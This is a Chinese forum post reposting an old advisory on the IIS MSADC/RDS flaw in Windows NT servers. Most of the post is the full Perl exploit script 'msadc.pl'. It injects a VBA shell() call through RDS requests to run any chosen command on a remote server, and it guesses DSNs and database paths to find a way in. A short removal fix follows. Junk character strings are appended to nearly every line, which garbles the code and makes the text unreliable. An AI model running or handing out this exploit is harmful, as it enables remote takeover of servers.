社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165501阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "AnC?c9?-^  
z8SmkL  
涉及程序: FtfKe"qw  
Microsoft NT server -xEXN[\S  
%t" CX5 n  
描述: 7!EBH(,z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ~M7y*'oY  
=F]FP5V  
详细: Q;43[1&3w  
如果你没有时间读详细内容的话,就删除: i]6`LqlO  
c:\Program Files\Common Files\System\Msadc\msadcs.dll s/q7.y7n{  
有关的安全问题就没有了。 YkniiB[/  
%yW3VL  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 xp }hev^@$  
2(u,SQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 G IT>L  
关于利用ODBC远程漏洞的描述,请参看: Y&d00  
<UV1!2nv*  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4W#vP  
|Lf"6^@yh  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 rvbLyv;~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp t>urc  
:U3kW8;UMP  
这里不再论述。 ] 2eK  
YaKeq5%y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: q_g+Jf P-D  
\{Z; :,S  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset uW@oyZUj  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 723bkJw V  
 -QM: q  
_wkVwPr  
#将下面这段保存为txt文件,然后: "perl -x 文件名" .TND  a&  
}Qip&IN  
#!perl 5_I->-<  
# *W0y: 3dB3  
# MSADC/RDS 'usage' (aka exploit) script 2jg-  
# % NA9{<I  
# by rain.forest.puppy E:JJ3X|  
# +cgSC5nR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me =BSzsH7  
# beta test and find errors!  86 W9rR  
6:Ch^c+IZ  
use Socket; use Getopt::Std; aY'C%^h]  
getopts("e:vd:h:XR", \%args); )}D'<^=#T  
_aFl_\3>  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; rz wF~-m +  
Oiz ,w7LRh  
if (!defined $args{h} && !defined $args{R}) { Ljxz.2LGr  
print qq~ tyXuG<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } CFzNwgv]z  
-h <host> = host you want to scan (ip or domain) \r /ya<5  
-d <seconds> = delay between calls, default 1 second z3&]%Q&  
-X = dump Index Server path table, if available M dZ&A}S  
-v = verbose \K@'Z  
-e = external dictionary file for step 5 ej4W{IN~:  
PP;}e  
Or a -R will resume a command session !UG 7Uer  
 x }\64  
~; exit;} b$ve sJ  
kbTm^y"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; f,V<;s  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @ezH'y-v  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \m7-rV6r  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Qy^1*j<@&  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4L ;% h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } WHsgjvh"  
 tBq nf v  
if (!defined $args{R}){ $ret = &has_msadc; p7veQ`yNc  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Mr;E<Lj ^K  
OMWbZ>jB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ])|d"[ur=  
. "cmd /c "; LR.Hh   
$in=<STDIN>; chomp $in; u.d).da  
$command="cmd /c " . $in ; [5zx17'  
-yE/f2PgQ  
if (defined $args{R}) {&load; exit;} i@P)a'W_  
[`{Z}q&  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; tk!t Y8j  
&try_btcustmr; 7ePqmB<.  
U*( izD  
print "\nStep 2: Trying to make our own DSN..."; mQCeo}7N5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &<wuJ%'>)Z  
NLUT#!Gr  
print "\nStep 3: Trying known DSNs..."; Xf02"PXC  
&known_dsn; +W:= e,=  
Wc,~{  
print "\nStep 4: Trying known .mdbs..."; w.H%R-Be  
&known_mdb; OUeyklw  
RIb4!!',c  
if (defined $args{e}){ )-0kb~;|  
print "\nStep 5: Trying dictionary of DSN names..."; $nb[G$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3a?o3=  
@6{~05.p  
print "Sorry Charley...maybe next time?\n"; cxA^:3  
exit; gZLP\_CL  
IhA5Wt0j  
############################################################################## :p]'32FA!  
gCioq.  
sub sendraw { # ripped and modded from whisker 4SlADvGl  
sleep($delay); # it's a DoS on the server! At least on mine... :YXX8|>  
my ($pstr)=@_; AG!w4Ky`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Cnbz=z  
die("Socket problems\n"); :bz}c48%  
if(connect(S,pack "SnA4x8",2,80,$target)){ [z9 `)VIe  
select(S); $|=1; "}pNe"ok  
print $pstr; my @in=<S>; \hBG<nH{0  
select(STDOUT); close(S); |?qquD 4=  
return @in; }._eIx"  
} else { die("Can't connect...\n"); }} A6:es_  
k"NVV$;  
############################################################################## DE%KW:Hug  
~-EOjX(X'E  
sub make_header { # make the HTTP request K[ (NTp$E  
my $msadc=<<EOT <F}_ /q1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5Yl <h)1  
User-Agent: ACTIVEDATA RoU55mL  
Host: $ip .q9 $\wM/  
Content-Length: $clen 7w'wjX-  
Connection: Keep-Alive 1#.>a$>  
Z @^9PQG$  
ADCClientVersion:01.06 J3n-`k8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]}U*_rM:  
JsDpy{q  
--!ADM!ROX!YOUR!WORLD! W#KpPDgZE  
Content-Type: application/x-varg `Jzp Sw  
Content-Length: $reqlen @&X|5p"[g  
 _59huC.  
EOT g=QDu7Ux  
; $msadc=~s/\n/\r\n/g;  c|M6 <}  
return $msadc;} +pR[U4$  
e6d<dXx  
############################################################################## U-IpH+E  
kL$!E9  
sub make_req { # make the RDS request 'R c,Mq'  
my ($switch, $p1, $p2)=@_; >N]7IU[-  
my $req=""; my $t1, $t2, $query, $dsn; K Pt5=a  
pgOQIzu  
if ($switch==1){ # this is the btcustmr.mdb query i(iXD  
$query="Select * from Customers where City=" . make_shell(); nHm}zOLc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . |962G1.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !{^PO <9  
=K6($|'=  
elsif ($switch==2){ # this is general make table query b*`lk2oMa/  
$query="create table AZZ (B int, C varchar(10))"; S,Xnzrz  
$dsn="$p1";} w)Q0_2p.  
#)C[5?{SNq  
elsif ($switch==3){ # this is general exploit table query ||;hci O  
$query="select * from AZZ where C=" . make_shell(); <$X3Hye  
$dsn="$p1";} BZR:OtR^  
nPye,"A Ol  
elsif ($switch==4){ # attempt to hork file info from index server CitDm1DXt/  
$query="select path from scope()"; _NMm/]mN /  
$dsn="Provider=MSIDXS;";} oZ!m  
MO n  
elsif ($switch==5){ # bad query 8P1=[i]  
$query="select"; ',:*f8Jk  
$dsn="$p1";} `[W[H(AjQ  
P*I}yPeb  
$t1= make_unicode($query); EL(nDv  
$t2= make_unicode($dsn); 1IZ3=6  
$req = "\x02\x00\x03\x00"; MBqt&_?K  
$req.= "\x08\x00" . pack ("S1", length($t1)); JwAYG5W  
$req.= "\x00\x00" . $t1 ; f}x.jxY?  
$req.= "\x08\x00" . pack ("S1", length($t2)); H^s<{E0<  
$req.= "\x00\x00" . $t2 ; qYlhlHD  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T~Gvp0r}h  
return $req;} U-R6xxPZ  
`QyO`y=?[Y  
############################################################################## {&\jW!&n  
=5kY6%E7c  
sub make_shell { # this makes the shell() statement Mz~M3$$9n  
return "'|shell(\"$command\")|'";} OoA|8!CFa  
aFS,GiB  
############################################################################## Q$="_y2cTA  
hM{{\yZS  
sub make_unicode { # quick little function to convert to unicode U c@Ao:  
my ($in)=@_; my $out; 4`!Z$kt  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Jo@|"cE=  
return $out;} no< ^f]33  
@>W(1mRi  
############################################################################## Z@]e{zO  
. r[Hu40p  
sub rdo_success { # checks for RDO return success (this is kludge) +f@U6Vv  
my (@in) = @_; my $base=content_start(@in); rEv$+pP  
if($in[$base]=~/multipart\/mixed/){ *a#rM"6P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4cl\^yD  
return 0;} 0@H|n^Md#  
&NH$nY.r  
############################################################################## m]5Cq6  
F.w 5S!5Q  
sub make_dsn { # this makes a DSN for us .HkL2m  
my @drives=("c","d","e","f"); ?TU}~}  
print "\nMaking DSN: "; t.`@{R$hoA  
foreach $drive (@drives) { `bZ/haU}A  
print "$drive: "; kw"SwdP5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . >g+?Oebgw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Y#u}tE d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %<an9WMF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; *Df,Ijh$  
return 0 if $2 eq "404"; # not found/doesn't exist \E% 'Y  
if($2 eq "200") { E ,|xJjh  
foreach $line (@results) { )6|yb65ZUX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} rL+!tH  
} return 0;} ]3KhgK%c8  
CS==A57I  
############################################################################## l i0i"  
]>~)<   
sub verify_exists { M;p em<  
my ($page)=@_; IHJ=i-  
my @results=sendraw("GET $page HTTP/1.0\n\n"); oAPb*;}  
return $results[0];} /4` 0?/V  
&!/}Qp  
############################################################################## ^(|vsFzn  
`"&d a#N]  
sub try_btcustmr { h $L/<3oP6  
my @drives=("c","d","e","f"); ;uw Ryd  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]cGA~d  
A7%:05  
foreach $dir (@dirs) { `eIenA  
print "$dir -> "; # fun status so you can see progress rmE"rf  
foreach $drive (@drives) { @> E2?CV  
print "$drive: "; # ditto 2ioQb`=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; \Dd-Xn_b  
$reqlenlen=length( "$reqlen" ); { T-'t/0e(  
$clen= 206 + $reqlenlen + $reqlen; Gcig*5   
BbgnqzU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N1|$$9G+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ++V=s\d7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +;#Y]xy:  
7tcPwCc{  
############################################################################## Kd=%tNp  
? P( ZA  
sub odbc_error { BI $   
my (@in)=@_; my $base; m3mp/g.>  
my $base = content_start(@in); !!`!|w  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 't6V:X  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /)4I|"}R0I  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _g~qu [1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yp66{o  
return $in[$base+4].$in[$base+5].$in[$base+6];} TJ1+g \  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; M $Es%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .8P.)%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} JvT"bZk( o  
 }(1JaG  
############################################################################## ~fT_8z  
pb$~b\s]=  
sub verbose { qU#BJON]BR  
my ($in)=@_; 3 AsT  
return if !$verbose; z&{5;A}Q@  
print STDOUT "\n$in\n";} rxy&spX  
U5He?  
############################################################################## Q)LM-ZJKQ  
hED=u/ql[  
sub save { <j5NFJ9  
my ($p1, $p2, $p3, $p4)=@_; Oh'Y0_oB>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %7gkNa  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,{LG4qvP  
close OUT;} k&. Jk B"  
US%^#D q  
############################################################################## DXa-rk8  
~R &;v3  
sub load { #_(jS+lP?k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5JLu2P  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #:^YI c  
@p=<IN>; close(IN); -$WYj "  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); L30$%G|  
$target= inet_aton($ip) || die("inet_aton problems"); e}.^Tiwd]  
print "Resuming to $ip ..."; k31I ysh  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^ 8@Iyh  
if($p[1]==1) { |'{zri|A"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; aMvI?y {  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 7 <Q5;J&;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )I$q5%q8  
if (rdo_success(@results)){print "Success!\n";} w );6K[+;  
else { print "failed\n"; verbose(odbc_error(@results));}} * ;Cy=J+  
elsif ($p[1]==3){ ltD37QZQ  
if(run_query("$p[3]")){ 3l3'bw2  
print "Success!\n";} else { print "failed\n"; }} YJl("MZ  
elsif ($p[1]==4){ 61j I  
if(run_query($drvst . "$p[3]")){ [fKUyIY_  
print "Success!\n"; } else { print "failed\n"; }} !V,{_(LT  
exit;} {FG|\nPw  
%LZ({\5K#f  
############################################################################## e&qh9mlE  
^4`Px/&  
sub create_table { =@8H"&y`  
my ($in)=@_; * C6a?]  
$reqlen=length( make_req(2,$in,"") ) - 28; i![dPM  
$reqlenlen=length( "$reqlen" ); (>I`{9x>6  
$clen= 206 + $reqlenlen + $reqlen; l+g9 5m jP  
my @results=sendraw(make_header() . make_req(2,$in,"")); pTyi!:g3W  
return 1 if rdo_success(@results); 3Bx:Ntx<  
my $temp= odbc_error(@results); verbose($temp); !ZI7&r`u;  
return 1 if $temp=~/Table 'AZZ' already exists/; ;x8k[p~2  
return 0;} Wxbq)Z[V  
OLvcivf  
############################################################################## *r$+&8V\n  
_!?Hu/zo  
sub known_dsn { GR"Eas.$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Sf,R^9#|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )h8\u_U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =pk)3<GwF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <@Fy5k-%.  
v !FMs<  
foreach $dSn (@dsns) { {s_+?<l  
print "."; Gsc\/4Wx  
next if (!is_access("DSN=$dSn")); Z+StB15  
if(create_table("DSN=$dSn")){ 3:f[gV9K  
print "$dSn successful\n"; r@o6voX  
if(run_query("DSN=$dSn")){ 0`I-2M4F*Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Iy.rqc/86  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -p E(_  
pOrWg@<\L  
############################################################################## Xe^Cn R  
z8J."27ND  
sub is_access { f uB)qt!E  
my ($in)=@_; CCX8>09  
$reqlen=length( make_req(5,$in,"") ) - 28; V86Xg:?7  
$reqlenlen=length( "$reqlen" ); ocyb5j  
$clen= 206 + $reqlenlen + $reqlen; His*t1o8'O  
my @results=sendraw(make_header() . make_req(5,$in,"")); 'D%w|Pe?Q  
my $temp= odbc_error(@results); =07]z@s  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4L73]3&  
return 0;} bug Ot7  
gt7VxZ  
############################################################################## ]Bm>-*@0N  
!xKJE:4/,m  
sub run_query { W.1As{  
my ($in)=@_; C^z\([k0er  
$reqlen=length( make_req(3,$in,"") ) - 28; 4j!]:ra  
$reqlenlen=length( "$reqlen" ); XK5<Tg  
$clen= 206 + $reqlenlen + $reqlen; >Z;jY*  
my @results=sendraw(make_header() . make_req(3,$in,"")); *\o/q[  
return 1 if rdo_success(@results); 1<h>B:  
my $temp= odbc_error(@results); verbose($temp); Vm|Y$ C  
return 0;} {" 4e+y  
ad_`x  
############################################################################## 2]c {P\  
ee/&/Gt  
sub known_mdb { W},b{NT  
my @drives=("c","d","e","f","g"); ej O}t:}P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zP;cTF(C  
my $dir, $drive, $mdb; R i 'L  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $DP&a1'g  
Na\WZSu'"  
# this is sparse, because I don't know of many atW'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Go&D[#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", D>!6,m2  
"\\system32\\certmdb.mdb", " sgjWo6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% P/ oXDI8  
tWdhDt8$&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %,iIpYx  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 62>zt2=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", P\&! ]  
"\\cfusion\\cfapps\\security\\realm_.mdb", KHDZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", a@pz*e  
"\\cfusion\\database\\cfexamples.mdb", )kJH5/  
"\\cfusion\\database\\cfsnippets.mdb", 0'r%,0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", OGrBUP  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", L}yyaM)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", gBf4's  
"\\cfusion\\database\\smpolicy.mdb", $) 5Bf3P0  
"\\cfusion\\database\cypress.mdb", c=6Q%S  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RuG-{NF{F  
"\\website\\cgi-win\\dbsample.mdb", tyDY'W\]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", yt+}K)Hz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" oQ7]= |  
); #these are just zLD|/`  
foreach $drive (@drives) { 9F^;!  
foreach $dir (@dirs){ A`u$A9[  
foreach $mdb (@sysmdbs) { '?Jxt:<  
print "."; f):~8_0b  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ R4<lln:[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  YOAn4]j  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ c:l]=O   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; sK 2 e&  
} else { print "Something's borked. Use verbose next time\n"; }}}}} K$ v"Uk  
vLO&Lpv  
foreach $drive (@drives) { /"ymZI!k\  
foreach $mdb (@mdbs) { F#{gfh  
print "."; (Bo bB]~a  
if(create_table($drv . $drive . $dir . $mdb)){ ;p ]y)3  
print "\n" . $drive . $dir . $mdb . " successful\n"; w&BGJYI  
if(run_query($drv . $drive . $dir . $mdb)){ E&B{5/rv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; to6;?uC+|i  
} else { print "Something's borked. Use verbose next time\n"; }}}} z\/53Sy<  
} 6TH!vuQ1(  
.]|Zf!>}s  
############################################################################## wVq\FY%  
!?[oIQ)h  
sub hork_idx { U4Nh  
print "\nAttempting to dump Index Server tables...\n"; !eJCM`cp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^I]{7$6^  
$reqlen=length( make_req(4,"","") ) - 28; L "<B;u5pM  
$reqlenlen=length( "$reqlen" ); fRm}S>Nibb  
$clen= 206 + $reqlenlen + $reqlen; p[WX'M0f  
my @results=sendraw2(make_header() . make_req(4,"","")); #~ Q8M*~@  
if (rdo_success(@results)){ WjMS5^ _  
my $max=@results; my $c; my %d; OSzjK7:  
for($c=19; $c<$max; $c++){ 2BzqY`O  
$results[$c]=~s/\x00//g; c0 WFlj9b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; y@wF_WX2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {[(pWd%J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; j|e[s ? d  
$d{"$1$2"}="";} QT#6'>&7-b  
foreach $c (keys %d){ print "$c\n"; } G*\h\ @  
} else {print "Index server doesn't seem to be installed.\n"; }}  <1&Ke  
<3hA!$o~  
############################################################################## !~lW3  
2*U.^]~"{  
sub dsn_dict { yZJ*dadAr  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); m h;X~.98  
while(<IN>){ Icp0A\L@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :[M[(  
next if (!is_access("DSN=$dSn")); %McO6.M@  
if(create_table("DSN=$dSn")){ 4(vyp.f  
print "$dSn successful\n"; 0p fnV%  
if(run_query("DSN=$dSn")){ cbKL$|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !ax;5@J  
print "Something's borked. Use verbose next time\n";}}} ^t'3rft  
print "\n"; close(IN);} &k T"oK  
F3ZxhkF  
############################################################################## J -Qh/d%]  
S:Tm23pe  
sub sendraw2 { # ripped and modded from whisker ' eO/PnYW  
sleep($delay); # it's a DoS on the server! At least on mine... sa1mC  
my ($pstr)=@_; v@G4G*x\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || | W#~F&{]  
die("Socket problems\n"); OYf{?-QD  
if(connect(S,pack "SnA4x8",2,80,$target)){ #/j={*-  
print "Connected. Getting data"; Fu8 7fVi/\  
open(OUT,">raw.out"); my @in; }gsO&g"8  
select(S); $|=1; print $pstr; "uu)2Xe  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} i ilyw_$H  
close(OUT); select(STDOUT); close(S); return @in; |Vx~fKS\  
} else { die("Can't connect...\n"); }} {@M14)-x>_  
FQf #*  
############################################################################## Xy#V Q{!  
JZ`L%  
sub content_start { # this will take in the server headers u9![6$R  
my (@in)=@_; my $c; Y~oT)wTU  
for ($c=1;$c<500;$c++) { Rq7p29w  
if($in[$c] =~/^\x0d\x0a/){ '=} Y2?(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Ohl} X 1  
else { return $c+1; }}} /~}_hO$S  
return -1;} # it should never get here actually ~SV Q;U)-  
/aUFc'5  
############################################################################## Z|^MGyn  
*kaJ*Ti-/  
sub funky { %OI4a5V*l  
my (@in)=@_; my $error=odbc_error(@in); BV9*s  
if($error=~/ADO could not find the specified provider/){ xaXV ^ZM3  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; MWq$AK]  
exit;} D6!tVdnVe  
if($error=~/A Handler is required/){ jXEGSn  
print "\nServer has custom handler filters (they most likely are patched)\n"; I$N7pobh  
exit;} k]I*:'178  
if($error=~/specified Handler has denied Access/){ '\*A"8;h  
print "\nServer has custom handler filters (they most likely are patched)\n"; k)E;(  
exit;}} 8wi A  
fkW(Dt,  
############################################################################## B5Va%?Wg?H  
Kp_jy.e7&  
sub has_msadc { }(=ml7)v  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GqjO>v fy  
my $base=content_start(@results); ZBj6KqfST%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Js}tZ\+P75  
return 0;} 0|2%#  E  
+ x_ wYv  
######################## y'rN5J:l  
?@a$!_  
{v+a!#{c7  
解决方案: *4#on>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [&n|\!  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 s1@@o#r  
2$ VTu+  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五